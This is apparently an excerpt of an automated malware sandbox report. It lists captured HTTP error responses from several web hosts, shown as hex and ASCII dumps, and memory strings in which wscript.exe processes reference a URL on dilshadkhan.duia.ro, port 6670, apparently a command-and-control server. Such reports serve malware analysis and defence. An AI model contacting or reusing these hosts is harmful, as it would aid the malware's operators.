Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecontent-type: text/htmlcontent-length: 252content-encoding: gzipvary: Accept-Encoding,User-Agent,User-Agentdate: Fri, 27 May 2022 16:43:24 GMTserver: LiteSpeedData Raw: 1f 8b 08 00 00 00 00 00 00 03 4c 8b b1 0e 82 40 10 05 fb fb 8a 95 5e 17 0c e5 66 13 61 97 dc 25 27 10 b3 14 f4 5c 42 25 51 e1 ff 0d d2 58 be 99 79 74 92 ae b6 b1 57 f0 76 8f d0 0f 55 0c 35 64 67 c4 a0 d6 20 8a c9 61 ae 97 1c 51 db 8c 1d ed 9b c9 eb 4d d8 91 05 8b ca 65 5e 42 bb ac d0 2c db 73 22 3c a0 23 fc 45 54 75 32 ee bf 82 ff 1a 5f b0 b3 39 c1 3b bd b6 f4 59 d3 04 c3 23 c2 17 00 00 ff ff 04 c1 bb 11 80 20 0c 00 d0 de 29 32 01 b4 16 1c b5 b6 6e 10 25 2a 1e bf 4b a2 59 df f7 7c 1b b3 78 30 14 68 5d e1 ec 6f 4b d0 1b e8 9d 05 84 f8 23 76 53 58 b6 38 85 35 9a 99 7b ca 6e a8 c4 09 2b 5e c4 34 30 b3 10 aa 16 72 47 af 3f 00 00 00 ff ff b2 d1 f7 b4 e3 b2 d1 77 f2 77 89 b4 b3 d1 f7 08 f1 f5 b1 e3 1a c9 00 00 00 00 ff ff 03 00 1f 08 e8 aa f0 01 00 00 Data Ascii: L@^fa%'\B%QXytWvU5dg aQMe^B,s"<#ETu2_9;Y# )2n%*KY\|x0h]oK#vSX85{n+^40rG?ww
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecontent-type: text/htmlcontent-length: 584date: Fri, 27 May 2022 16:43:24 GMTserver: LiteSpeedvary: User-Agent,User-AgentData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 6e 70 38 73 2f 3f 34 68 4d 34 3d 6f 34 42 30 66 26 61 6d 70 3b 7a 56 42 3d 64 2f 6e 73 74 45 66 4a 6a 36 45 71 48 49 61 6f 36 33 46 4a 30 73 39 47 75 71 41 39 35 4b 51 48 6f 71 74 61 6b 74 6a 72 39 2f 70 32 6a 48 77 6c 6b 43 51 33 79 68 43 45 6f 31 53 55 72 53 51 6b 35 6e 5a 6c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 0a 3c 48 52 3e 0a 3c 49 3e 77 77 77 2e 6a 6c 62 77 61 74 65 72 64 61 6d 61 67 65 72 65 70 61 69 72 73 65 61 74 74 6c 65 2e 63 6f 6d 3c 2f 49 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>404 Not Found</TITLE></HEAD><BODY><H1>Not Found</H1>The requested URL /np8s/?4hM4=o4B0f&zVB=d/nstEfJj6EqHIao63FJ0s9GuqA95KQHoqtaktjr9/p2jHwlkCQ3yhCEo1SUrSQk5nZl was not found on this server.<HR><I>www.jlbwaterdamagerepairseattle.com</I></BODY></HTML>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginxDate: Fri, 27 May 2022 16:43:48 GMTContent-Type: text/htmlContent-Length: 146Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 27 May 2022 16:44:17 GMTContent-Type: text/html; charset=iso-8859-1Transfer-Encoding: chunkedConnection: closeCF-Cache-Status: MISSServer: cloudflareCF-RAY: 712036e27e819bb3-FRAData Raw: 31 33 62 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 0d 0a Data Ascii: 13b<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 27 May 2022 16:44:17 GMTContent-Type: text/html; charset=iso-8859-1Transfer-Encoding: chunkedConnection: closeCF-Cache-Status: DYNAMICServer: cloudflareCF-RAY: 712036e25f3e6964-FRAContent-Encoding: gzipData Raw: 66 35 0d 0a 1f 8b 08 00 00 00 00 00 00 03 54 90 c1 6e c2 30 10 44 ef fe 8a 29 e7 96 85 8a a3 65 a9 25 41 20 a5 14 55 e1 d0 a3 c1 5b 6c 29 d8 d4 d9 14 e5 ef ab 84 4a 6d af b3 6f 76 67 56 df 15 af cb fa 7d 57 62 5d bf 54 d8 ed 9f ab cd 12 93 07 a2 4d 59 af 88 8a ba b8 4d 1e a7 33 a2 72 3b 31 4a 7b 39 37 46 7b b6 ce 28 2d 41 1a 36 8b d9 02 db 24 58 a5 2e 3a 4d 37 51 69 1a 21 7d 48 ae 1f 7c 73 f3 87 f1 73 a3 f4 c5 d4 9e 91 f9 b3 e3 56 d8 61 ff 56 e1 6a 5b c4 24 f8 18 38 a4 08 f1 a1 45 cb f9 8b f3 54 d3 65 b4 3d 39 17 24 a4 68 9b a6 bf 87 c5 bf 00 8a 73 4e 79 5c c4 f1 98 ba 28 9c d9 e1 ea 43 c3 90 dc 87 78 82 24 74 2d c3 46 94 03 5c a4 63 77 e6 28 83 ee 6d 74 03 f8 9b ec e7 2c 8d 45 34 8d 0f 50 df 00 00 00 ff ff 03 00 59 3c e4 fe 3b 01 00 00 0d 0a Data Ascii: f5Tn0D)e%A U[l)JmovgV}Wb]TMYM3r;1J{97F{(-A6$X.:M7Qi!}H\|ssVaVj[$8ETe=9$hsNy\(Cx$t-F\cw(mt,E4PY<;
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 27 May 2022 16:45:04 GMTServer: Apache/2.4.29 (Ubuntu)Content-Length: 279Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 77 77 77 2e 74 6f 70 69 6e 67 73 33 33 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at www.topings33.com Port 80</address></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 27 May 2022 16:45:06 GMTServer: Apache/2.4.29 (Ubuntu)Content-Length: 279Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 77 77 77 2e 74 6f 70 69 6e 67 73 33 33 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at www.topings33.com Port 80</address></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 27 May 2022 16:45:08 GMTServer: Apache/2.4.29 (Ubuntu)Content-Length: 279Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 77 77 77 2e 74 6f 70 69 6e 67 73 33 33 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at www.topings33.com Port 80</address></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecontent-type: text/htmlcontent-length: 252content-encoding: gzipvary: Accept-Encoding,User-Agent,User-Agentdate: Fri, 27 May 2022 16:45:15 GMTserver: LiteSpeedData Raw: 1f 8b 08 00 00 00 00 00 00 03 4c 8b b1 0e 82 40 10 05 fb fb 8a 95 5e 17 0c e5 66 13 61 97 dc 25 27 10 b3 14 f4 5c 42 25 51 e1 ff 0d d2 58 be 99 79 74 92 ae b6 b1 57 f0 76 8f d0 0f 55 0c 35 64 67 c4 a0 d6 20 8a c9 61 ae 97 1c 51 db 8c 1d ed 9b c9 eb 4d d8 91 05 8b ca 65 5e 42 bb ac d0 2c db 73 22 3c a0 23 fc 45 54 75 32 ee bf 82 ff 1a 5f b0 b3 39 c1 3b bd b6 f4 59 d3 04 c3 23 c2 17 00 00 ff ff 04 c1 bb 11 80 20 0c 00 d0 de 29 32 01 b4 16 1c b5 b6 6e 10 25 2a 1e bf 4b a2 59 df f7 7c 1b b3 78 30 14 68 5d e1 ec 6f 4b d0 1b e8 9d 05 84 f8 23 76 53 58 b6 38 85 35 9a 99 7b ca 6e a8 c4 09 2b 5e c4 34 30 b3 10 aa 16 72 47 af 3f 00 00 00 ff ff b2 d1 f7 b4 e3 b2 d1 77 f2 77 89 b4 b3 d1 f7 08 f1 f5 b1 e3 1a c9 00 00 00 00 ff ff 03 00 1f 08 e8 aa f0 01 00 00 Data Ascii: L@^fa%'\B%QXytWvU5dg aQMe^B,s"<#ETu2_9;Y# )2n%*KY\|x0h]oK#vSX85{n+^40rG?ww
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecontent-type: text/htmlcontent-length: 252content-encoding: gzipvary: Accept-Encoding,User-Agent,User-Agentdate: Fri, 27 May 2022 16:45:15 GMTserver: LiteSpeedData Raw: 1f 8b 08 00 00 00 00 00 00 03 4c 8b b1 0e 82 40 10 05 fb fb 8a 95 5e 17 0c e5 66 13 61 97 dc 25 27 10 b3 14 f4 5c 42 25 51 e1 ff 0d d2 58 be 99 79 74 92 ae b6 b1 57 f0 76 8f d0 0f 55 0c 35 64 67 c4 a0 d6 20 8a c9 61 ae 97 1c 51 db 8c 1d ed 9b c9 eb 4d d8 91 05 8b ca 65 5e 42 bb ac d0 2c db 73 22 3c a0 23 fc 45 54 75 32 ee bf 82 ff 1a 5f b0 b3 39 c1 3b bd b6 f4 59 d3 04 c3 23 c2 17 00 00 ff ff 04 c1 bb 11 80 20 0c 00 d0 de 29 32 01 b4 16 1c b5 b6 6e 10 25 2a 1e bf 4b a2 59 df f7 7c 1b b3 78 30 14 68 5d e1 ec 6f 4b d0 1b e8 9d 05 84 f8 23 76 53 58 b6 38 85 35 9a 99 7b ca 6e a8 c4 09 2b 5e c4 34 30 b3 10 aa 16 72 47 af 3f 00 00 00 ff ff b2 d1 f7 b4 e3 b2 d1 77 f2 77 89 b4 b3 d1 f7 08 f1 f5 b1 e3 1a c9 00 00 00 00 ff ff 03 00 1f 08 e8 aa f0 01 00 00 Data Ascii: L@^fa%'\B%QXytWvU5dg aQMe^B,s"<#ETu2_9;Y# )2n%*KY\|x0h]oK#vSX85{n+^40rG?ww
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecontent-type: text/htmlcontent-length: 584date: Fri, 27 May 2022 16:45:15 GMTserver: LiteSpeedvary: User-Agent,User-AgentData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 6e 70 38 73 2f 3f 34 68 4d 34 3d 6f 34 42 30 66 26 61 6d 70 3b 7a 56 42 3d 64 2f 6e 73 74 45 66 4a 6a 36 45 71 48 49 61 6f 36 33 46 4a 30 73 39 47 75 71 41 39 35 4b 51 48 6f 71 74 61 6b 74 6a 72 39 2f 70 32 6a 48 77 6c 6b 43 51 33 79 68 43 45 6f 31 53 55 72 53 51 6b 35 6e 5a 6c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 0a 3c 48 52 3e 0a 3c 49 3e 77 77 77 2e 6a 6c 62 77 61 74 65 72 64 61 6d 61 67 65 72 65 70 61 69 72 73 65 61 74 74 6c 65 2e 63 6f 6d 3c 2f 49 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>404 Not Found</TITLE></HEAD><BODY><H1>Not Found</H1>The requested URL /np8s/?4hM4=o4B0f&zVB=d/nstEfJj6EqHIao63FJ0s9GuqA95KQHoqtaktjr9/p2jHwlkCQ3yhCEo1SUrSQk5nZl was not found on this server.<HR><I>www.jlbwaterdamagerepairseattle.com</I></BODY></HTML>

Source: wscript.exe, 00000009.00000002.972899634.000002A0FE18A000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000009.00000002.964440619.000002A0FC389000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://dilshadkhan.duia.ro:6670/
Source: wscript.exe, 00000009.00000003.512513259.000002A0FE165000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://dilshadkhan.duia.ro:6670/KCQlm
Source: wscript.exe, 00000009.00000003.797460057.000002A0FE3A8000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000009.00000003.798562853.000002A0FE392000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000009.00000003.798358475.000002A0FE357000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://dilshadkhan.duia.ro:6670/Vre
Source: wscript.exe, 00000009.00000002.973024572.000002A0FE375000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://dilshadkhan.duia.ro:6670/Vre$s
Source: wscript.exe, 00000005.00000003.919362750.000002CA03732000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000003.920503026.000002CA0373B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://dilshadkhan.duia.ro:6670/Vre)
Source: wscript.exe, 00000009.00000002.955051076.000002A0FC2F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://dilshadkhan.duia.ro:6670/Vre)1
Source: wscript.exe, 00000005.00000002.995617824.000002CA05530000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000009.00000002.966667032.000002A0FDD80000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://dilshadkhan.duia.ro:6670/Vre-Agent((
Source: wscript.exe, 00000007.00000002.961947849.0000019175800000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://dilshadkhan.duia.ro:6670/Vre-Agent((m
Source: wscript.exe, 00000002.00000003.896087228.0000015597A8A000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000002.00000003.703640260.0000015597A27000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://dilshadkhan.duia.ro:6670/Vre0
Source: wscript.exe, 00000002.00000003.896380234.0000015597A27000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000002.00000002.961961202.0000015597A20000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000002.00000003.703640260.0000015597A27000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://dilshadkhan.duia.ro:6670/Vre0D
Source: wscript.exe, 00000005.00000003.755909949.000002CA03738000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://dilshadkhan.duia.ro:6670/Vre1
Source: wscript.exe, 00000005.00000003.921517592.000002CA056E6000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000002.999768148.000002CA056E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://dilshadkhan.duia.ro:6670/Vre2
Source: wscript.exe, 00000007.00000002.973441987.0000019175C0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://dilshadkhan.duia.ro:6670/Vre4
Source: wscript.exe, 00000005.00000003.919796248.000002CA03757000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000003.921500706.000002CA03757000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000005.00000003.755644912.000002CA03755000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000003.937481985.0000019175C88000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000003.773445797.0000019175C51000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000003.938372471.0000019175C8D000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000003.774215223.0000019175C5E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000003.937512517.0000019175C5E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000009.00000002.973084193.000002A0FE3BB000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000009.00000003.797669252.000002A0FE3BB000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000009.00000003.798581012.000002A0FE39B000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000009.00000003.796772281.000002A0FE3B9000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000009.00000003.797946340.000002A0FE38D000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000009.00000003.796252633.000002A0FE3B0000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000009.00000003.798562853.000002A0FE392000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://dilshadkhan.duia.ro:6670/Vre63209-4053062332-100
Source: wscript.exe, 00000002.00000003.895989838.0000015597AB9000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000002.00000002.970059033.0000015597A51000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://dilshadkhan.duia.ro:6670/Vre63209-4053062332-1000
Source: wscript.exe, 00000009.00000003.795747446.000002A0FE3C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://dilshadkhan.duia.ro:6670/Vre9
Source: wscript.exe, 00000009.00000003.798741707.000002A0FE393000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000009.00000003.797946340.000002A0FE38D000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000009.00000003.798562853.000002A0FE392000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://dilshadkhan.duia.ro:6670/VrecomputerNUMBER_OF_H
Source: wscript.exe, 00000005.00000002.995617824.000002CA05530000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000002.961947849.0000019175800000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000009.00000002.966667032.000002A0FDD80000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://dilshadkhan.duia.ro:6670/VreDQppZiAo
Source: wscript.exe, 00000005.00000002.995617824.000002CA05530000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000002.961947849.0000019175800000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000009.00000002.966667032.000002A0FDD80000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://dilshadkhan.duia.ro:6670/VreDQpyZXR1
Source: wscript.exe, 00000002.00000003.896542475.0000015597A95000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000002.00000003.896087228.0000015597A8A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://dilshadkhan.duia.ro:6670/VreG
Source: wscript.exe, 00000009.00000002.955051076.000002A0FC2F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://dilshadkhan.duia.ro:6670/VreG1C
Source: wscript.exe, 00000007.00000003.773058007.0000019175C95000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://dilshadkhan.duia.ro:6670/VreHGG
